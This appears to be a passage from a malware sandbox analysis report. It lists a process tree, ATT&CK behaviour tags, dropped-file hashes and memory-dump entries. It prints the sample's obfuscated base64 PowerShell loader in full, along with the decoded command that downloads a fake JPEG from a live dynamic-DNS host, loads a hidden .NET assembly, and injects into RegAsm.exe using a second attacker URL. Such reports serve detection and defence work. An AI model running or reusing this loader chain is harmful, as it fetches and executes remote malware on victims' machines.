㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑dQBi⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑By⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑Ew⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑WwBT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑ZQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑XQ⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑RgBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBC⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBk⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bb⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑eQBz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑ZQBt⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bg⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQBd⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑OgBM⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑EI⫮ ≵ ₪ ㊎ ㆑eQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BB⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YgBs⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BU⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑JwBk⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑E8⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBl⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑7⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bt⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BN⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑VgBB⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑bwBr⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑L⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑bwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑WwBd⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑y⫮ ≵ ₪ ㊎ ㆑DE⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑3⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Dk⫮ ≵ ₪ ㊎ ㆑M⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑Mw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑DI⫮ ≵ ₪ ㊎ ㆑OQ⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑H⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑QQBz⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑dgBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑H0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑==';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⫮ ≵ ₪ ㊎ ㆑','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$link = 'http://servidorwindows.ddns.com.br/Files/vbs.jpeg'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('dnlib.IO.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.HSLF/121/741.901.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado')) } }"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:2416

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4o1k0lai.ktu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nert\logs.dat

    Filesize

    144B

    MD5

    47d03495a002651bbd9c5200cd72e874

    SHA1

    9a6ffcddc59b52837bc24f211c3d59992bc7a536

    SHA256

    cb33e8ccdedd69258d0e71dd2c9fcbb293af16c01de92a32ffd4939beaf18c91

    SHA512

    34252b3ce6cc4623d96bd5e00f73b2ac866ed263e8f33170c036fe2c2520a8f410dc8c61c1c659d66d422b89613073d38959c9b9d5d0ea68949d79753e1988c3

  • memory/2416-49-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-43-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-66-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-65-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-58-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-26-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-57-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-50-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-32-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-41-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-35-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-36-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-39-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-40-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2416-42-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/2988-33-0x00007FFCF0570000-0x00007FFCF1031000-memory.dmp

    Filesize

    10.8MB

  • memory/2988-13-0x00007FFCF0570000-0x00007FFCF1031000-memory.dmp

    Filesize

    10.8MB

  • memory/2988-0-0x00007FFCF0573000-0x00007FFCF0575000-memory.dmp

    Filesize

    8KB

  • memory/2988-11-0x00007FFCF0570000-0x00007FFCF1031000-memory.dmp

    Filesize

    10.8MB

  • memory/2988-6-0x000001DC30AB0000-0x000001DC30AD2000-memory.dmp

    Filesize

    136KB

  • memory/2988-12-0x00007FFCF0570000-0x00007FFCF1031000-memory.dmp

    Filesize

    10.8MB

  • memory/2988-24-0x00007FFCF0570000-0x00007FFCF1031000-memory.dmp

    Filesize

    10.8MB

  • memory/2988-23-0x00007FFCF0570000-0x00007FFCF1031000-memory.dmp

    Filesize

    10.8MB

  • memory/4184-25-0x0000020E7E630000-0x0000020E7E752000-memory.dmp

    Filesize

    1.1MB